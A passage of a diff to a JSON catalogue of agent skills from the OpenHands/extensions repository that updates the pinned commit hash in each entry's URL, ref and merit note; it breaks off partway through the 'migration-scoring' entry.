"6704eb29264daea9cf63af19c216a9d1c0970a094830efedd02e0545feaa65c1", @@ -540,7 +540,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/deno/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/deno/SKILL.md:1" }, { "name": "diagnosing-bugs", @@ -591,8 +591,8 @@ { "name": "discord", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/discord", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/discord", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/discord", "tree_sha": "0759b6e8fa2e5910a180d499939128f2baa108a3", "skill_md_sha256": "ff1cc68562cddeb1f51289e0f5fe13dd272aa89d2b156624ceb8bc65b01ac23f", @@ -608,7 +608,7 @@ "research" ], "status": "trial", - "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/discord/SKILL.md:1" + "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/discord/SKILL.md:1" }, { "name": "dispatching-parallel-agents", @@ -657,8 +657,8 @@ { "name": "docker", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/docker", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/docker", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/docker", "tree_sha": "7e742029273a6cd801c5fd1610bc052e467479b4", "skill_md_sha256": "d4c69e41982982cf1b71e265fbcaec478030bee0bf627285a48bea3a84373a3a", @@ -674,7 +674,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/docker/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/docker/SKILL.md:1" }, { "name": "docx", @@ -725,8 +725,8 @@ { "name": "evidence-based-citations", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/evidence-based-citations", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/evidence-based-citations", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/evidence-based-citations", "tree_sha": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", "skill_md_sha256": "ebd2645e8e3651218d356c534ebcc453fafbd8b0ca36d9d9e7e7d60790ee7021", @@ -743,7 +743,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides verifiable citations or reader-oriented documentation procedures for worker outputs. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/evidence-based-citations/SKILL.md:1" + "merit_note": "Provides verifiable citations or reader-oriented documentation procedures for worker outputs. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/evidence-based-citations/SKILL.md:1" }, { "name": "executing-plans", @@ -927,8 +927,8 @@ { "name": "github-actions", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-actions", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-actions", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-actions", "tree_sha": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", "skill_md_sha256": "3bc931615299740031ec21eef92a3c1cc1acd91d88d6579c67e8e6021a0c83f0", @@ -943,13 +943,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Supplies native workflow setup and debugging procedures instead of generated CI guesses. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-actions/SKILL.md:1" + "merit_note": "Supplies native workflow setup and debugging procedures instead of generated CI guesses. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-actions/SKILL.md:1" }, { "name": "github-agents-md-maintainer", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-agents-md-maintainer", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-agents-md-maintainer", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-agents-md-maintainer", "tree_sha": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", "skill_md_sha256": "a117d2f599af00a8b1f890b1cecda2a144cc1e59ae1a0370f5798b97377ec206", @@ -967,13 +967,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Persists reusable repository knowledge or a bounded handoff with a reviewable source artifact. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-agents-md-maintainer/SKILL.md:1" + "merit_note": "Persists reusable repository knowledge or a bounded handoff with a reviewable source artifact. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-agents-md-maintainer/SKILL.md:1" }, { "name": "github-delivery-watchdog", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-delivery-watchdog", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-delivery-watchdog", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-delivery-watchdog", "tree_sha": "c90ad6ae786552737e7ab2a011310627c5f0acae", "skill_md_sha256": "536cb76358c784e882c02d0040fe33fe19038fdf2b9050a94739ec07f760bce9", @@ -988,13 +988,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides review dispatch or review API procedures; installation grants no permission to post or merge. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-delivery-watchdog/SKILL.md:1" + "merit_note": "Provides review dispatch or review API procedures; installation grants no permission to post or merge. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-delivery-watchdog/SKILL.md:1" }, { "name": "github-issue-to-pr", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-issue-to-pr", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-issue-to-pr", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-issue-to-pr", "tree_sha": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", "skill_md_sha256": "602425d9c99c774e2b4a31ac816313f3e64171a72ff34dcc6aa50a1c6b14ba6a", @@ -1009,13 +1009,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-issue-to-pr/SKILL.md:1" + "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-issue-to-pr/SKILL.md:1" }, { "name": "github-issue-triage", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-issue-triage", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-issue-triage", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-issue-triage", "tree_sha": "9df1430bf1402390fa7070105b589a87861254ed", "skill_md_sha256": "eec8e8f6d1c9f41f898f438f037c082476ae3a08f70e609a4458c12c196861e3", @@ -1030,13 +1030,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-issue-triage/SKILL.md:1" + "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-issue-triage/SKILL.md:1" }, { "name": "github-pr-review", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-pr-review", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-pr-review", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-pr-review", "tree_sha": "f4e742826b7154635c79820a1cb015906b260a6d", "skill_md_sha256": "8b1c2f74dede90bbb7a524b66e991f9eb8ab3068b349ad343ca986668567652c", @@ -1051,7 +1051,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides review dispatch or review API procedures; installation grants no permission to post or merge. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-pr-review/SKILL.md:1" + "merit_note": "Provides review dispatch or review API procedures; installation grants no permission to post or merge. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-pr-review/SKILL.md:1" }, { "name": "github-pr-reviewer", @@ -1077,8 +1077,8 @@ { "name": "github-repo-monitor", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/github-repo-monitor", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/github-repo-monitor", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/github-repo-monitor", "tree_sha": "e779e4edf79c281f7c9a35cf586eb6084b5046db", "skill_md_sha256": "8a51a228f4a372162d0f3545ac44a1ce7a7d6616fab0b00fbdcd19789a85e52c", @@ -1093,7 +1093,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/github-repo-monitor/SKILL.md:1" + "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github-repo-monitor/SKILL.md:1" }, { "name": "github-stale-ci-pr-closer", @@ -1119,8 +1119,8 @@ { "name": "gitlab", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/gitlab", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/gitlab", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/gitlab", "tree_sha": "29879a030a0dd27de75c2674a242492c9d90a5a6", "skill_md_sha256": "214c4db1a10ec41b81549e5625312b7d686772fba1258379e30013e3789f7fd7", @@ -1135,13 +1135,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/gitlab/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/gitlab/SKILL.md:1" }, { "name": "gitlab-issue-to-mr", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/gitlab-issue-to-mr", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/gitlab-issue-to-mr", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/gitlab-issue-to-mr", "tree_sha": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", "skill_md_sha256": "95b4390e73cc3ba60be239a403a50f08c64185a804aeb58589c17806609e6738", @@ -1156,7 +1156,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/gitlab-issue-to-mr/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/gitlab-issue-to-mr/SKILL.md:1" }, { "name": "gpt-researcher", @@ -1232,8 +1232,8 @@ { "name": "improve-agent-readiness", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/onboarding/skills/improve-agent-readiness", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/onboarding/skills/improve-agent-readiness", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/onboarding/skills/improve-agent-readiness", "tree_sha": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", "skill_md_sha256": "e34bcd869080b07ac7de88172013562b151d2b74506994b6192765f735ed499c", @@ -1249,7 +1249,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Checks and improves repository instructions and feedback loops for autonomous workers. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/onboarding/skills/improve-agent-readiness/SKILL.md:1" + "merit_note": "Checks and improves repository instructions and feedback loops for autonomous workers. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/onboarding/skills/improve-agent-readiness/SKILL.md:1" }, { "name": "improve-codebase-architecture", @@ -1278,8 +1278,8 @@ { "name": "incident-retrospective", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/incident-retrospective", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/incident-retrospective", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/incident-retrospective", "tree_sha": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", "skill_md_sha256": "bf99ca3938e3245be78cbb4638cbdea9d38f1f42ad051750a3a52bba92e953dc", @@ -1295,13 +1295,13 @@ "research" ], "status": "trial", - "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/incident-retrospective/SKILL.md:1" + "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/incident-retrospective/SKILL.md:1" }, { "name": "iterate", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/iterate", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/iterate", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/iterate", "tree_sha": "7152a93b2b9f725f52c5252d988819fe0030661a", "skill_md_sha256": "58249391292da7a903f0e91483d959b78d405b77956c13f020df5eab7789495a", @@ -1316,7 +1316,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Diagnoses failing checks or manages stalled CI work; explicit authorization still controls external mutations. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/iterate/SKILL.md:1" + "merit_note": "Diagnoses failing checks or manages stalled CI work; explicit authorization still controls external mutations. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/iterate/SKILL.md:1" }, { "name": "iterative-retrieval", @@ -1346,8 +1346,8 @@ { "name": "jira-issue-to-pr", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/jira-issue-to-pr", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/jira-issue-to-pr", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/jira-issue-to-pr", "tree_sha": "e216374c7bc95f6705707e11a1cc65dda9267964", "skill_md_sha256": "e5c143d6c0256e7cc1786716d358534701154ff86ea26495c8fa5eacf168ce26", @@ -1362,13 +1362,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/jira-issue-to-pr/SKILL.md:1" + "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/jira-issue-to-pr/SKILL.md:1" }, { "name": "jupyter", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/jupyter", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/jupyter", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/jupyter", "tree_sha": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", "skill_md_sha256": "11f5663bd9bc329844217cb6d3bacc8f475169080f3d859a36d4d0973bd7128e", @@ -1385,7 +1385,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Supports reproducible notebook execution and inspection for research and extraction evaluation. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/jupyter/SKILL.md:1" + "merit_note": "Supports reproducible notebook execution and inspection for research and extraction evaluation. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/jupyter/SKILL.md:1" }, { "name": "jupyter-notebook", @@ -1413,8 +1413,8 @@ { "name": "kubernetes", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/kubernetes", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/kubernetes", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/kubernetes", "tree_sha": "68d887ccaf357723985bae1130706a7145e4d38d", "skill_md_sha256": "e1c28130b212211c33138e0977e64dc57f368c42d6588e2bd173092cc9d4a96d", @@ -1430,13 +1430,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/kubernetes/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/kubernetes/SKILL.md:1" }, { "name": "learn-from-code-review", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/learn-from-code-review", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/learn-from-code-review", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/learn-from-code-review", "tree_sha": "28da28ac893f281737349c3867b5640ae348b0b4", "skill_md_sha256": "146a6ec99296501601c2918644cbca54a337cca3290d173ac5ce64a5c62db497", @@ -1454,13 +1454,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Persists reusable repository knowledge or a bounded handoff with a reviewable source artifact. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/learn-from-code-review/SKILL.md:1" + "merit_note": "Persists reusable repository knowledge or a bounded handoff with a reviewable source artifact. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/learn-from-code-review/SKILL.md:1" }, { "name": "linear", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/linear", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/linear", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/linear", "tree_sha": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", "skill_md_sha256": "f0a509cc3268de2d716dce1b66de027c91b71d26ca330ab1a59363b169d2ae03", @@ -1475,13 +1475,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/linear/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/linear/SKILL.md:1" }, { "name": "linear-triage", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/linear-triage", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/linear-triage", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/linear-triage", "tree_sha": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", "skill_md_sha256": "4a6dfb4a604c995879039bcffa65e38b18083faee57c08d9a8ab876ed5993e87", @@ -1496,13 +1496,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/linear-triage/SKILL.md:1" + "merit_note": "Covers alternate source-control or ticket systems encountered during planning; not counted as GitHub-specific coverage. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/linear-triage/SKILL.md:1" }, { "name": "mainframe-planning", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/cobol-modernization/skills/mainframe-planning", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/cobol-modernization/skills/mainframe-planning", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/cobol-modernization/skills/mainframe-planning", "tree_sha": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", "skill_md_sha256": "a6e64ed015955951520b69e5e87e0aea6ec2693bacc6af60ba488a0a59c61c96", @@ -1518,13 +1518,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/cobol-modernization/skills/mainframe-planning/SKILL.md:1" + "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/cobol-modernization/skills/mainframe-planning/SKILL.md:1" }, { "name": "mainframe-removal", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/cobol-modernization/skills/mainframe-removal", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/cobol-modernization/skills/mainframe-removal", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/cobol-modernization/skills/mainframe-removal", "tree_sha": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", "skill_md_sha256": "bf0c95e28074dd27c4c2facb31783ef079e9dcb551eec8f84a554e845556f2f3", @@ -1540,7 +1540,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/cobol-modernization/skills/mainframe-removal/SKILL.md:1" + "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/cobol-modernization/skills/mainframe-removal/SKILL.md:1" }, { "name": "mcp-builder", @@ -1568,8 +1568,8 @@ { "name": "migration-mapping", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/migration-scoring/skills/migration-mapping", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/migration-scoring/skills/migration-mapping", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/migration-scoring/skills/migration-mapping", "tree_sha": "01541663c7d326717eb97454e8cff37bd907d1af", "skill_md_sha256": "6b65c7e6b15576bd97506ae0ee10e0a6bbb24ed1b2d5946232b2b9b9a540bca1", @@ -1585,13 +1585,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/migration-scoring/skills/migration-mapping/SKILL.md:1" + "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/migration-scoring/skills/migration-mapping/SKILL.md:1" }, { "name": "migration-report", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/migration-scoring/skills/migration-report", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/migration-scoring/skills/migration-report", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/migration-scoring/skills/migration-report", "tree_sha": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", "skill_md_sha256": "0e61fd550879bd54f25f7c970aaab4f66e9b970142c5d761674e4e8b3e7ed827", @@ -1607,13 +1607,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/migration-scoring/skills/migration-report/SKILL.md:1" + "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/migration-scoring/skills/migration-report/SKILL.md:1" }, { "name": "migration-scoring", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/migration-scoring/skills/migration-scoring", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": 